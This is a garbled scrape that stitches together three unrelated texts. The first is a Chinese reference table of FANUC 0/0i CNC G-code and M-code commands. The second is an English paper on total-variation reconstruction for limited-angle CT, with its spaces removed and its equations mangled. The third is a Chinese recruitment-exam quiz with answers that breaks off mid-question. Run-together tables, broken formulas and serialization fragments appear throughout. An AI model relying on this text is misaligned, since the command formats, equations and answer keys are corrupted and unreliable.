@#@N10G01X250.Y300.N11G04X100N12G01Z-120.N13X380.Y400.在这个例子的N12这条程序中出现了“G01”功能,由于这个功能是模态的,所以尽管在N13这条程序中没有“G01”,但是其作用还是存在的。
@#@本软件支持的G功能见表6.1.13辅助功能地址“M”和两位数字组成的字表示辅助功能,也称之为M功能。
@#@本软件支持的M功能见4主轴转速FANUC系列使用手册附录二FANUC0数控指令地址S后跟四位数字;@#@单位:
@#@转/分钟。
@#@格式:
@#@Sxxxx5进给功能地址F后跟四位数字;@#@单位:
@#@毫米/分钟格式:
@#@Fxxxx尺寸字地址:
@#@X,Y,Z,I,J,K,R数值范围:
@#@999999.999毫米999999.999毫米。
@#@FANUC系列使用手册附录二FANUC0数控指令附录二FANUC0数控指令FANUC0G指令列表本软件提供的G指令0-T0-M0-T0-M0-T0-MG00G44G75G01G49G76G02G50G80G03G51G81G04G52G82G15G53G83G16G54G84G17G55G85G18G56G86G19G57G88G20G58G89G21G59G90G28G68G91G29G69G92G32G70G94G40G71G98G41G72G99G42G73G43G74G功能格式1)FANUC0数控铣床和加工中心代码分组意义格式G0001快速进给、定位G00X-Y-Z-FANUC系列使用手册附录二FANUC0数控指令G01直线插补G01X-Y-Z-G02圆弧插补CW(顺时针)XY平面内的圆弧:
@#@JIRYXGGG030217ZX平面的圆弧:
@#@KIRZXGGG030218YZ平面的圆弧:
@#@KJRZYGGG030219G03圆弧插补CCW(逆时针)G0400暂停G04P|X单位秒,增量状态单位毫秒,无参数状态表示停止G1517取消极坐标指令G15取消极坐标方式G16极坐标指令GxxGyyG16开始极坐标指令G00IP_极坐标指令Gxx:
@#@极坐标指令的平面选择(G17,G18,G19)Gyy:
@#@G90指定工件坐标系的零点为极坐标的原点G91指定当前位置作为极坐标的原点IP:
@#@指定极坐标系选择平面的轴地址及其值第1轴:
@#@极坐标半径第2轴:
@#@极角G1702XY平面G17选择XY平面;@#@G18选择XZ平面;@#@G19选择YZ平面。
@#@G18ZX平面G19YZ平面FANUC系列使用手册附录二FANUC0数控指令G2006英制输入G21米制输入G2800回归参考点G28X-Y-Z-G29由参考点回归G29X-Y-Z-G4007刀具半径补偿取消G40G41左半径补偿DnnGG4241G42右半径补偿G4308刀具长度补偿+HnnGG4443G44刀具长度补偿G49刀具长度补偿取消G49G5011取消缩放G50缩放取消G51比例缩放G51X_Y_Z_P_:
@#@缩放开始X_Y_Z_:
@#@比例缩放中心坐标的绝对值指令P_:
@#@缩放比例G51X_Y_Z_I_J_K_:
@#@缩放开始X_Y_Z_:
@#@比例缩放中心坐标值的绝对值指令I_J_K_:
@#@X,Y,Z各轴对应的缩放比例G5200设定局部坐标系G52IP_:
@#@设定局部坐标系G52IP0:
@#@取消局部坐标系IP:
@#@局部坐标系原点G53机械坐标系选择G53X-Y-Z-FANUC系列使用手册附录二FANUC0数控指令G5414选择工作坐标系1GXXG55选择工作坐标系2G56选择工作坐标系3G57选择工作坐标系4G58选择工作坐标系5G59选择工作坐标系6G6816坐标系旋转(G17/G18/G19)G68a_b_R_:
@#@坐标系开始旋转G17/G18/G19:
@#@平面选择,在其上包含旋转的形状a_b_:
@#@与指令坐标平面相应的X,Y,Z中的两个轴的绝对指令,在G68后面指定旋转中心R_:
@#@角度位移,正值表示逆时针旋转。
@#@根据指令的G代码(G90或G91)确定绝对值或增量值最小输入增量单位:
@#@0.001deg有效数据范围:
@#@-360.000到360.000G69取消坐标轴旋转G69:
@#@坐标轴旋转取消指令G7309深孔钻削固定循环G73X-Y-Z-R-Q-F-G74左螺纹攻螺纹固定循环G74X-Y-Z-R-P-F-G76精镗固定循环G76X-Y-Z-R-Q-F-G9003绝对方式指定GXXG91相对方式指定G9200工作坐标系的变更G92X-Y-Z-FANUC系列使用手册附录二FANUC0数控指令G9810返回固定循环初始点GXXG99返回固定循环R点G8009固定循环取消G81钻削固定循环、钻中心孔G81X-Y-Z-R-F-G82钻削固定循环、锪孔G82X-Y-Z-R-P-F-G83深孔钻削固定循环G83X-Y-Z-R-Q-F-G84攻螺纹固定循环G84X-Y-Z-R-F-G85镗削固定循环G85X-Y-Z-R-F-G86退刀形镗削固定循环G86X-Y-Z-R-P-F-G88镗削固定循环G88X-Y-Z-R-P-F-G89镗削固定循环G89X-Y-Z-R-P-F-2)FANUC0系统数控车床重要提示:
@#@本系统中车床采用直径编程。
@#@G20,G21,G40,G41,G42,G54-G59与FANUC数控铣相同,参考上一节。
@#@代码分组意义格式G0001快速进给、定位G00X-Z-G01直线插补G01X-Z-G02圆弧插补CW(顺时针)KIRZXGG0302G03圆弧插补CCW(逆时针)FANUC系列使用手册附录二FANUC0数控指令G0400暂停G04X|U|PX,U单位:
@#@秒;@#@P单位:
@#@毫秒(整数)G2006英制输入G21米制输入G280回归参考点G28X-Z-G29由参考点回归G29X-Z-G3201螺纹切削(由参数指定绝对和增量)GxxX|UZ|WF|EF指定单位为0.01mm/r的螺距。
@#@E指定单位为0.0001mm/r的螺旋G4007刀具补偿取消G40G41左半径补偿DnnGG4241G42右半径补偿G5000设定工件坐标系:
@#@G50XZ偏移工件坐标系:
@#@G50UWG53机械坐标系选择G53X-Z-G5412选择工作坐标系1GXXG55选择工作坐标系2G56选择工作坐标系3G57选择工作坐标系4G58选择工作坐标系5G59选择工作坐标系6G7000精加工循环G70PnsQnfFANUC系列使用手册附录二FANUC0数控指令G71外园粗车循环G71UdReG71PnsQnfUuWwFfG72端面粗切削循环G72W(d)R(e)G72P(ns)Q(nf)U(u)W(w)F(f)S(s)T(t)d:
@#@切深量e:
@#@退刀量ns:
@#@精加工形状的程序段组的第一个程序段的顺序号nf:
@#@精加工形状的程序段组的最后程序段的顺序号u:
@#@X方向精加工余量的距离及方向w:
@#@Z方向精加工余量的距离及方向G73封闭切削循环G73UiWkRdG73PnsQnfUuWwFfG74端面切断循环G74R(e)G74X(U)_Z(W)_P(i)Q(k)R(d)F(f)e:
@#@返回量i:
@#@X方向的移动量k:
@#@Z方向的切深量d:
@#@孔底的退刀量f:
@#@进给速度G75内径/外径切断循环G75R(e)G75X(U)_Z(W)_P(i)Q(k)R(d)F(f)FANUC系列使用手册附录二FANUC0数控指令G76复合形螺纹切削循环G76P(m)(r)(a)Q(dmin)R(d)G76X(u)_Z(W)_R(i)P(k)Q(d)F(l)m:
@#@最终精加工重复次数为199r:
@#@螺纹的精加工量(倒角量)a:
@#@刀尖的角度(螺牙的角度)可选择80,60,55,30,29,0六个种类m,r,a;@#@同用地址P一次指定dmin:
@#@最小切深度i:
@#@螺纹部分的半径差k:
@#@螺牙的高度d:
@#@第一次的切深量l:
@#@螺纹导程G9001直线车削循环加工G90X(U)-Z(W)-F-G90X(U)-Z(W)-R-F-G92螺纹车削循环G92X(U)-Z(W)-F-G92X(U)-Z(W)-R-F-G94端面车削循环G94X(U)-Z(W)-F-G94X(U)-Z(W)-R-F-G9805每分钟进给速度G99每转进给速度支持的M代码代码意义格式FANUC系列使用手册附录二FANUC0数控指令M00停止程序运行M01选择性停止M02结束程序运行M03主轴正向转动开始M04主轴反向转动开始M05主轴停止转动M06换刀指令M06T-M08冷却液开启M09冷却液关闭M30结束程序运行且返回程序开头M98子程序调用M98Pxxnnnn调用程序号为Onnnn的程序xx次。
@#@M99子程序结束子程序格式:
@#@OnnnnM99附录三FANUC0i数控指令G指令列表本软件提供的G指令0i-T0i-M0i-T0i-M0i-T0i-MG00G44G75G01G49G76G02G50G80G03G51G81G04G52G82G15G53G83G16G54G84G17G55G85G18G56G86G19G57G88G20G58G89G21G59G90G28G68G91G29G69G92G32G70G94G40G71G98G41G72G99G42G73G43G74G指令格式1)FANUC0i数控铣床和加工中心代码分组意义格式G0001快速进给、定位G00X-Y-Z-G01直线插补G01X-Y-Z-G02圆弧插补CW(顺时针)XY平面内的圆弧:
@#@JIRYXGGG030217ZX平面的圆弧:
@#@KIRZXGGG030218YZ平面的圆弧:
@#@KJRZYGGG030219G03圆弧插补CCW(逆时针)G0400暂停G04P|X单位秒,增量状态单位毫秒,无参数状态表示停止G1517取消极坐标指令G15取消极坐标方式G16极坐标指令GxxGyyG16开始极坐标指令G00IP_极坐标指令Gxx:
@#@极坐标指令的平面选择(G17,G18,G19)Gyy:
@#@G90指定工件坐标系的零点为极坐标的原点G91指定当前位置作为极坐标的原点IP:
@#@指定极坐标系选择平面的轴地址及其值第1轴:
@#@极坐标半径第2轴:
@#@极角G1702XY平面G17选择XY平面;@#@G18选择XZ平面;@#@G19选择YZ平面。
@#@G18ZX平面G19YZ平面G2006英制输入G21米制输入G2800回归参考点G28X-Y-Z-G29由参考点回归G29X-Y-Z-G4007刀具半径补偿取消G40G41左半径补偿DnnGG4241G42右半径补偿G4308刀具长度补偿+HnnGG4443G44刀具长度补偿G49刀具长度补偿取消G49G5011取消缩放G50缩放取消G51比例缩放G51X_Y_Z_P_:
@#@缩放开始X_Y_Z_:
@#@比例缩放中心坐标的绝对值指令P_:
@#@缩放比例G51X_Y_Z_I_J_K_:
@#@缩放开始X_Y_Z_:
@#@比例缩放中心坐标值的绝对值指令I_J_K_:
@#@X,Y,Z各轴对应的缩放比例G5200设定局部坐标系G52IP_:
@#@设定局部坐标系G52IP0:
@#@取消局部坐标系IP:
@#@局部坐标系原点G53机械坐标系选择G53X-Y-Z-G5414选择工作坐标系1GXXG55选择工作坐标系2G56选择工作坐标系3G57选择工作坐标系4G58选择工作坐标系5G59选择工作坐标系6G6816坐标系旋转(G17/G18/G19)G68a_b_R_:
@#@坐标系开始旋转G17/G18/G19:
@#@平面选择,在其上包含旋转的形状a_b_:
@#@与指令坐标平面相应的X,Y,Z中的两个轴的绝对指令,在G68后面指定旋转中心R_:
@#@角度位移,正值表示逆时针旋转。
@#@根据指令的G代码(G90或G91)确定绝对值或增量值最小输入增量单位:
@#@0.001deg有效数据范围:
@#@-360.000到360.000G69取消坐标轴旋转G69:
@#@坐标轴旋转取消指令G7309深孔钻削固定循环G73X-Y-Z-R-Q-F-G74左螺纹攻螺纹固定循环G74X-Y-Z-R-P-F-G76精镗固定循环G76X-Y-Z-R-Q-F-G9003绝对方式指定GXXG91相对方式指定G9200工作坐标系的变更G92X-Y-Z-G9810返回固定循环初始点GXXG99返回固定循环R点G8009固定循环取消G81钻削固定循环、钻中心孔G81X-Y-Z-R-F-G82钻削固定循环、锪孔G82X-Y-Z-R-P-F-G83深孔钻削固定循环G83X-Y-Z-R-Q-F-G84攻螺纹固定循环G84X-Y-Z-R-F-G85镗削固定循环G85X-Y-Z-R-F-G86退刀形镗削固定循环G86X-Y-Z-R-P-F-G88镗削固定循环G88X-Y-Z-R-P-F-G89镗削固定循环G89X-Y-Z-R-P-F-2)FANUC0i系统数控车床重要提示:
@#@本系统中车床采用直径编程。
@#@G20,G21,G40,G41,G42,G54-G59与FANUC数控铣相同,参考上一节。
@#@代码分组意义格式G0001快速进给、定位G00X-Z-G01直线插补G01X-Z-G02圆弧插补CW(顺时针)KIRZXGG0302G03圆弧插补CCW(逆时针)G0400暂停G04X|U|PX,U单位:
@#@秒;@#@P单位:
@#@毫秒(整数)G2006英制输入G21米制输入G280回归参考点G28X-Z-G29由参考点回归G29X-Z-G3201螺纹切削(由参数指定绝对和增量)GxxX|UZ|WF|EF指定单位为0.01mm/r的螺距。
@#@E指定单位为0.0001mm/r的螺旋G4007刀具补偿取消G40G41左半径补偿DnnGG4241G42右半径补偿G5000设定工件坐标系:
@#@G50XZ偏移工件坐标系:
@#@G50UWG53机械坐标系选择G53X-Z-G5412选择工作坐标系1GXXG55选择工作坐标系2G56选择工作坐标系3G57选择工作坐标系4G58选择工作坐标系5G59选择工作坐标系6G7000精加工循环G70PnsQnfG71外园粗车循环G71UdReG71PnsQnfUuWwFfG72端面粗切削循环G72W(d)R(e)G72P(ns)Q(nf)U(u)W(w)F(f)S(s)T(t)d:
@#@切深量e:
@#@退刀量ns:
@#@精加工形状的程序段组的第一个程序段的顺序号nf:
@#@精加工形状的程序段组的最后程序段的顺序号u:
@#@X方向精加工余量的距离及方向w:
@#@Z方向精加工余量的距离及方向G73封闭切削循环G73UiWkRdG73PnsQnfUuWwFfG74端面切断循环G74R(e)G74X(U)_Z(W)_P(i)Q(k)R(d)F(f)e:
@#@返回量i:
@#@X方向的移动量k:
@#@Z方向的切深量d:
@#@孔底的退刀量f:
@#@进给速度G75内径/外径切断循环G75R(e)G75X(U)_Z(W)_P(i)Q(k)R(d)F(f)G76复合形螺纹切削循环G76P(m)(r)(a)Q(dmin)R(d)G76X(u)_Z(W)_R(i)P(k)Q(d)F(l)m:
@#@最终精加工重复次数为199r:
@#@螺纹的精加工量(倒角量)a:
@#@刀尖的角度(螺牙的角度)可选择80,60,55,30,29,0六个种类m,r,a;@#@同用地址P一次指定dmin:
@#@最小切深度i:
@#@螺纹部分的半径差k:
@#@螺牙的高度d:
@#@第一次的切深量l:
@#@螺纹导程G9001直线车削循环加工G90X(U)-Z(W)-F-G90X(U)-Z(W)-R-F-G92螺纹车削循环G92X(U)-Z(W)-F-G92X(U)-Z(W)-R-F-G94端面车削循环G94X(U)-Z(W)-F-G94X(U)-Z(W)-R-F-G9805每分钟进给速度G99每转进给速度支持的M代码代码意义格式M00停止程序运行M01选择性停止M02结束程序运行M03主轴正向转动开始M04主轴反向转动开始M05主轴停止转动M06换刀指令M06T-M08冷却液开启M09冷却液关闭M30结束程序运行且返回程序开头M98子程序调用M98Pxxnnnn调用程序号为Onnnn的程序xx次。
@#@M99子程序结束子程序格式:
@#@OnnnnM99";i:
22;s:
10117:
"OptimizationforlimitedangletomographyinmedicalimageprocessingXiaoqiangLua,YiSuna,YuanYuanb,naSchoolofElectronicandInformationEngineering,DalianUniversityofTechnology,ChinabCenterforOPTicalIMageryAnalysisandLearning(OPTIMAL),StateKeyLaboratoryofTransientOpticsandPhotonics,XianInstituteofOpticsandPrecisionMechanics,ChineseAcademyofSciences,Xian710119,Shaanxi,P.R.ChinaarticleinfoArticlehistory:
@#@Received30July2010Receivedinrevisedform14December2010Accepted17December2010Availableonline30December2010Keywords:
@#@LimitedangletomographyIll-posedinverseproblemTotalvariation(TV)abstractThispaperaimstoreducetheproblemsofincompletedataincomputedtomography,whichhappensfrequentlyinmedicalimageprocessandanalysis,e.g.,whenthehigh-densityregionofobjectscanonlybepenetratedbyX-raysatalimitedangularrange.Astheprojectiondataareavailableonlyinanangularrange,theincompletedataproblemcanbeattributedtothelimitedangleproblem,whichisanill-posedinverseproblem.Imagereconstructionbasedontotalvariation(TV)reducestheproblemandgivesbetterperformanceonedge-preservingreconstruction;@#@however,theartificialparametercanonlybedeterminedthroughconsiderableexperimentation.Inthispaper,aneffectiveTVobjectivefunctionisproposedtoreducetheinverseprobleminthelimitedangletomography.Thisnovelobjectivefunctionprovidesarobustandeffectivereconstructionwithoutanyartificialparameterintheiterativeprocesses,usingtheTVasamultiplicativeconstraint.Theresultsdemonstratethatthisreconstructionstrategyoutperformssomepreviousones.&@#@2011PublishedbyElsevierLtd.1.IntroductionComputedtomography(CT)technologyhasmadearevolu-tionaryimpactonmedicaldiagnosisandhasalsoprovensuccess-fulinindustrialnon-destructivetesting.However,itisnotalwayspossibletoacquireprojectiondatathroughacompleteangularrangeinmanyapplications.SomeexampleswouldbeX-raydoselimitations,ortimeconstraintswhenimagingamovingobject,orX-raysbeingobstructedwhenpassingthroughhigh-densityregionofobjects,anyofwhichcouldresultinlossofsomeprojections.Whenprojectiondataareonlyavailableinalimitedangularrange,asoccursinanumberofapplicationssuchasindentalradiology,surgicalimaging,thoracicimaging,mammogra-phy,etc.,thisleadstothenotoriousill-posedproblem.Theconventionalandmostcommonlyusedmethodforrecon-structionfromtomographicprojectionsisthestandardfilteredbackprojection(FBP)reconstructiontechnique,whichisnotsoadaptabletoincompleteprojectiondataandresultsinpoorreconstructionswithsevereartifactsinlimitedanglecases.Becauseoftheimportanceofthelimitedangleproblem,manystudiesaboutreconstructionalgorithmhavebeenintroducedoverthepasttwodecades.Inthepastdecade,withtherapiddevelopmentofcomputer,iterativereconstructionhasbecomeahotresearchtopicforlimitedangularrangereconstruction.Inlimitedangletomography,researchershavetriedseveraliterativeapproaches,suchasalgebraicreconstructionmethod,statisticaliterativemethod,totalvariationmethod,waveletmethod,andmanyothers.Natterer1andNattererandWubbeling2discussedmanymathematicalaspectsofformingreconstructionsfromlimiteddata,suchasuniquenessandstabilityofsolutions.Nassietal.3usedalinearleastsquareformulationinformulat-inganiterativereconstruction.Adaptivewavelet-Galerkinmethodisintroducedbytheauthorin4tosolvethelimitedangleproblem,andthereconstructionstrategyhasacomparableperformancewithasignificantreductionincomputationaltime.Singularvaluedecomposition-basedmethodwasgivenin5,6,whichwasthenusedtodevelopareconstructionalgorithm7,8.Statisticalinversionwithaprioriinformationforreconstructinginlimitedangletomographycouldbefoundin912.Grunbaum13madeadetailedstudyofsmallscalemodelsofthepracticalimplementationofsomeFouriermethodsforthereconstructionofobject.Relatedworkcouldbefoundin1418.Otheralgo-rithmsonlimitedangletomographyandfurtherreferencescouldbefoundin1923.Aclassicalmethodforsolvingill-posedproblemsisregular-izationwithaquadraticpenaltyfunction24.However,thisregularizationmethodhasatendencyofsmoothingthosesharpedgesinsolutionsthatoftencarryimportantinformation.Thisobservationexplainsaninterestinregularizationwithnon-quadraticpenalties,whichpreservesthediscontinuitiesinthesolution,themostpopularofwhichisprobablythetotalvariationpenalty.Therecentworksin25,26developedaniterativeimagereconstructionalgorithmbasedontheminimizationoftheimageTVthatwasappliedtolimitedangleproblemandgavegoodContentslistsavailableatScienceDirectjournalhomepage:
@#@Recognition0031-3203/$-seefrontmatter&@#@2011PublishedbyElsevierLtd.doi:
@#@10.1016/j.patcog.2010.12.016nCorrespondingauthor.E-mailaddress:
@#@,(Y.Yuan).PatternRecognition44(2011)24272435edge-preservingreconstructions.ArecentpaperbyCand?
@#@esetal.27proposedaTValgorithmandprovedanimpressiveresultaboutthepossibilityofperfectreconstruction,givensmallamountsofdata.Theauthorsin2832conductedalotofworkonimagereconstructionfromincompleteprojections.AndSidkyetal.28andSidkyandPan29appliedTValgorithmforimagereconstructionfromdivergent-beamprojectionsapplicabletobothfan-beamandcone-beamCTimaging.Inthoseworks,theauthorspresentedaTViterativealgorithmthatcanreconstructperfectimagesfrominsufficientdatathatmayoccurduetopracticalissuesofCTscanning.AndtheminimizationoftheimageTVisperformedbythegradientdescentmethodintheTValgorithm.ThealgorithmbasedonTVismoresuitableforlimitedangletomographybecauseitcanreconstructsharpdiscontinu-itiesoredgeswithsparseorinsufficientdatathatmayoccurduetopracticalissuesofCTscanning.TheeffectivenessoftheTValgorithmreliesonthefactthattheimagedobjecthasarelativelysparsegradientimage.Theadditionofthetotalvariationoftheobjectivefunctionhasaverypositiveeffectonthequalityofreconstructionforpiecewisesmoothnessofanunknownimage.Despiteofthesuccessofreconstructionsinlimitedangletomo-graphybasedontotalvariationmethod,adrawbackisthepresenceofaninitiallyartificialparameterintheminimizationoftheTVnorm,whichcanonlybedeterminedbyconsiderablenumericalexperimentationsandaprioriinformationofthedesiredreconstruction.Thisisoftenverytime-consuming.Onemaysavelotsoftimeandcomputationalcostifthereisaniterativemethodthatcangiveusareasonableparameterwithinapracticallyacceptablenumberofiterations.Thispaperintendstomakesomefurthercontributiontothesubjectinreconstructinganimagefromalimitedangle.Wefirstdefinedanewobjectivefunction,whichistheproductofthenormalizederrorsintheprojectionequationsandtheTV-factor.ThenwemadeuseofaconjugategradientmethodtoimplementtheminimizationoftheimageTV,followedbyprojectiononconvexsetsforenforcingtheprojectiondataconstraints.Inthismethod,itisnotnecessarytodeterminetheartificialparameter.Andtheartificialparameterisdeterminedbytheiterativeprocesses.Hence,theproposedalgorithmcanavoidtheinitialartificialparameterinTValgo-rithmthatimplementstheminimizationoftheimageTV.Wedemonstratethefeasibilityofourmethodbynumericalexamplesusingprojectiondatainalimitedangularrange.Inthenumericalexamples,wefoundthatthequalityofreconstructedimagebytheproposedmethodisimprovedcomparedtotheTVrecon-structionsreportedin29.Thispaperisorganizedasfollows.InSection2,wedemon-stratediscretedatamodelforcircularcone-beamCT.InSection3,wedescribethenewoptimizationprogramforthelimitedangletomography.NumericalresultsarepresentedinSection4,andconclusionsarepresentedinSection5.2.Datemodelincircularcone-beamCTIncircularcone-beamCT,thetaskinimagereconstructionistorecoverthedensityofanobjectf(x)underexaminationprovidedbyasetoflineintegrals.WhentherotationangleoftheX-raysourceisdefinedasa,thecone-beamprojectionoftheobjectfunctionf(x)atapoint(u,v)onthedetectorcanbeexpressedaspu,v,aZ10fslya,u,vdl1wheresourcesisdefinedasssaRcosa,Rsina,02whereRdenotesthedistancefromthesourcepointtotherotationaxis.Andtheraydirectionvectory(a,u,v)indicatesthedirectionoftheraystartingfromthesourcepoints(a)andpassingthroughthepoint(u,v)onthedetector.Bydiscretizingtheprojectionacquisitionmodel,Eq.
(1)canbeapproximatedbyfollowingthediscretelinearsystem:
@#@PKf3TheprojectionvectorPconsistsofM-lengthmeasuredprojec-tionrays.ThevectorfhasN-lengthpixelvaluesthatrepresenttheobjectfunction.ThesystemmatrixKisadiscretemodelfortheintegrationinEq.
(1).Hence,theprojectionacquisitionmodelcanbewritteninanexpandedformasasetoflinearequationswhenconsideringtheerrorofmeasurementornoise:
@#@k11f1k12f2k13f3?
@#@k1NfNn1p1k21f1k22f2k23f3?
@#@k2NfNn2p2.kM1f1kM2f2kM3f3?
@#@kMNfNnMpM4whereMisthenumberofX-rayintegrals,Nisthenumberofpixelsintheobject,nii1,2,.,Mistheadditivenoiseasso-ciatedwiththemeasurement,kijissystemweightsthataredeterminedbytheintersectionlengthoftheithraythroughthejthpixel,andfjrepresentsthejthpixelvalue.3.TheoptimizationprogramforlimitedangletomographyInthissection,webrieflyreviewtheminimizationoftheimagetotalvariationthatappliestolimitedangletomography,followedbysomedrawbacksofthemethod.Afterthat,weproposeanewoptimizationprogramforlimitedangletomography.3.1.ReviewTosimplifynotations,theprojectionacquisitionmodelinEq.(4)isdescribedbythefollowingformula:
@#@PKfn5w";i:
23;s:
28695:
"江西省赣州市于都县文化和旅游局招聘试题及答案解析@#@ 一、选择题(在下列每题四个选项中选择符合题意的,将其选出并把它的标号写在题后的括号内。
@#@@#@ 错选、多选或未选均不得分。
@#@)@#@ 1、事物的性质主要是由事物的()。
@#@@#@ A、矛盾的斗争性决定@#@ B、矛盾的同一性决定@#@ C、矛盾的主要方面决定的@#@ D、主要矛盾和次要矛盾共同决定的@#@ 【答案】C@#@ 【解析】同一矛盾双方的地位是不同的,其中一方处于支配地位,决定事物的性质。
@#@这里矛盾主次方面各有一个。
@#@由于矛盾的主要方面在力量上超过矛盾的次要方面,在地位上支配着矛盾的次要方面,所以事物的性质主要是由矛盾的主要方面决定的。
@#@矛盾的主要方面发生变化,事物的性质也随之变化。
@#@同时,次要方面对事物性质有一定影响。
@#@因为主要矛盾不能离开次要方面而孤立存在。
@#@故选C。
@#@@#@ 2、下列成语中,体现了相同哲理的有()。
@#@@#@ A、掩耳盗铃@#@ B、良莠不分@#@ C、张冠李戴@#@ D、不分皂白@#@ 【答案】BCD@#@ 【解析】掩耳盗铃的哲理是主观感觉决定客观存在,否认事物的客观存在,违背了这样的哲理:
@#@@#@
(1)物质决定意识,意识是物质的反映;@#@@#@
(2)意识能动作用要受物质决定作用制约;@#@@#@ (3)意识决定于物质。
@#@张冠李戴;@#@良莠不分;@#@不分皂白体现的哲理是抹杀不同矛盾的不同特点,混淆事物的不同性质。
@#@故此题答案为BCD。
@#@@#@ 3、多种鱼类背部发黑,腹部发白,其原因是()。
@#@@#@ A、长期进化形成的保护色@#@ B、背部比腹部接受光线多,导致色素沉淀@#@ C、背部比腹部黏膜厚,吸收光线多@#@ D、背部鱼鳞多,吸收光线多@#@ 【答案】A@#@ 【解析】多数鱼类背部发黑、腹部发白,此为一种长期进化而形成的保护色,因为有了这种保护色,无论从上面或下面观察,鱼类保护色使其易与自然环境混成一体,可以轻而易举地躲避水鸟或肉食性鱼类的捕食。
@#@@#@ 4、“批复”这一种公文最突出的特点是()。
@#@@#@ A、说明性@#@ B、可行性@#@ C、政策性@#@ D、针对性@#@ 【答案】D@#@ 【解析】本题考查的是公文的文种。
@#@批复适用于答复下级机关的请示事项,一事一批复,批复是一个被动性的文种,具有极强针对性。
@#@故本题选择D选项。
@#@@#@ 5、根据决策目标的影响程度不同,决策可以分为()。
@#@@#@ A、战略决策和战术决策@#@ B、单目标决策和多目标决策@#@ C、程序性决策和非程序性决策@#@ D、常规决策和重复决策@#@ 【答案】A@#@ 【解析】根据不同的标准,决策可以划分为不同的类型。
@#@根据决策目标的多寡,可以分为单目标决策和多目标决策;@#@根据决策问题的重复程度不同,可以划分为程序性决策和非程序性决策。
@#@因此B项和C项不是正确答案,D项说的实际上是同一种决策,即程序性决策。
@#@@#@ 6、“一票否决制”体现的决策规则是()。
@#@@#@ A、全体一致规则@#@ B、少数决策规则@#@ C、简单多数规则@#@ D、绝对多数规则@#@ 【答案】A@#@ 【解析】一票否决指的是只要有一人投了反对票,无论赞成票有多少,这项决策也不能通过,体现的是全体一致规则。
@#@故选A。
@#@@#@ 7、从公文行文关系的划分来看,下列行政公文中不能作为平行文的是()。
@#@@#@ A、通知@#@ B、公告@#@ C、通报@#@ D、纪要@#@ 【答案】B@#@ 【解析】本题考查公文。
@#@平行文:
@#@指平行机关或不相隶属的机关之间的发文,主要是函,也包括一些通知,纪要、函。
@#@下行文:
@#@指上级机关对所属下级机关的发文,如命令、指令、意见,决定、决议、布告、公告、通告、通知、通报、批复等。
@#@本题中公告属于下行文,不能用作平行文,故本题选择B选项。
@#@@#@ 8、下列不属于行政决策的特征的是()。
@#@@#@ A、决策主体的特定性@#@ B、决策内容的广泛性@#@ C、决策的程序性@#@ D、决策的权威性@#@ 【答案】C@#@ 【解析】情况有时候会是突发的,这个时候的决策也就不可能按照程序来进行。
@#@因此决策的程序性不属于行政决策的特征。
@#@@#@ 9、对“工业和人的环境是人的一本打开的心理学”这一观点分析正确的是()。
@#@@#@ A、是唯心主义观点,不具有科学性@#@ B、这一观点将工业和环境理解为主观的@#@ C、工业和人的环境是人的实践活动和实践的产物,体现着人的爱好、心理和价值@#@ D、否认了人的实践活动对象的客观性@#@ 【答案】C@#@ 【解析】实践是指人能动地改造客观世界的对象性活动。
@#@实践以人为主体,以客观事物为对象。
@#@工业和人的环境,一方面是客观的,另一方面它又是人的认识和价值观念的体现。
@#@正因为工业和人的环境是人的实践活动和实践的产物,体现着人的爱好、心理和价值,所以我们可以把工业和人的环境看作是人的一本打开的心理学。
@#@@#@ 故本题选C。
@#@@#@ 10、平均利润形成后,商品市场价格的波动中心是()。
@#@@#@ A、社会生产价格@#@ B、个别生产价格@#@ C、社会价值@#@ D、个别价值@#@ 【答案】A@#@ 【解析】社会生产价格是指K(成本)+平均利润。
@#@各生产者都按照此价格出售商品,投入等量资本可以获得等量利润,市场价格会围绕生产价格上下波动,之所以上下波动,是因为在市场中还存在供求关系。
@#@故选A。
@#@@#@ 11、能够坚持彻底的唯物主义一元论的是()。
@#@@#@ A、朴素唯物论@#@ B、庸俗唯物论@#@ C、机械唯物论@#@ D、辩证唯物论@#@ 【答案】D@#@ 【解析】世界物质统一性原理是辩证唯物论彻底的唯物主义一元论世界观的理论基础。
@#@朴素唯物论试图在某些特殊的东西中,寻找具有无限多样性的自然现象的统一;@#@庸俗唯物论混淆物质和意识的严格界限,取消唯物主义和唯心主义的对立;@#@机械唯物论认为世界上物质的变化在根本上只有位置和数量的变化,所以,虽然它们都承认世界是物质的,但是都没有彻底认识到物质世界的统一性、多样性,不是彻底的唯物主义一元论。
@#@因此本题答案为D。
@#@@#@ 12、亨利•福特曾说过:
@#@@#@ “如果我最初问消费者他们想要什么,他们会告诉我‘要一匹更快的马’。
@#@”有人说,如果真这样,汽车大王就不会出现了。
@#@材料体现的经济学道理是()。
@#@@#@ A、生产为消费创造动力@#@ B、产品开发不需要考虑市场要求@#@ C、产品开发要利用人们的求异心理@#@ D、消费所形成的新的需要会引导生产@#@ 【答案】A@#@ 【解析】生产为消费创造动力,消费者的需要就是动力,A项正确,当选。
@#@产品开发必须面向市场,才能实现其价值,B项错误。
@#@题干反映的不是求异心理,C项错误。
@#@题干强调的是生产,而不是消费的反作用。
@#@D项错误。
@#@因此A项当选。
@#@@#@ 13、产业经济学是一门融合了()基本理论的应用性经济学科。
@#@@#@ A、经济学@#@ B、管理学@#@ C、文化学@#@ D、伦理学@#@ 【答案】ABC@#@ 【解析】产业经济学是一门融合了经济学、管理学与文化学基本理论的应用性经济学科。
@#@就学科性质而言,它属于应用经济学的范畴。
@#@@#@ 14、有人指出:
@#@没有产品的广告,又怎么能知道好的产品?
@#@一些好的文章性的广告,让消费者了解新的产品,从而增加选择的空间,何乐而不为呢?
@#@有些人却认为:
@#@广告多了令人心烦。
@#@另外一些人则提出如果没有广告又觉得空空的,可选择的余地太小,总之,众说纷纭。
@#@这说明()。
@#@@#@ A、意识的不同主体之间具有主观差别性@#@ B、意识的同一主体在不同条件下具有主观差别性@#@ C、对同一对象,不同的主体会有一致的反映@#@ D、意识的主观性表现为对客观对象的歪曲反映@#@ 【答案】A@#@ 【解析】从意识的主观差别和客观根源来看,意识的主观性表现在:
@#@一是不同主体之间的差别性,二是同一主体在不同条件下的差别性。
@#@对于同一对象或同一客观过程,不同的人、不同的主体会有不同的反映,即所谓“仁者见仁,智者见智”。
@#@题干说的是不同主体意识的主观差别,因此只有A项是正确的。
@#@故选A。
@#@@#@ 15、下列事项中应当制发通知的有()。
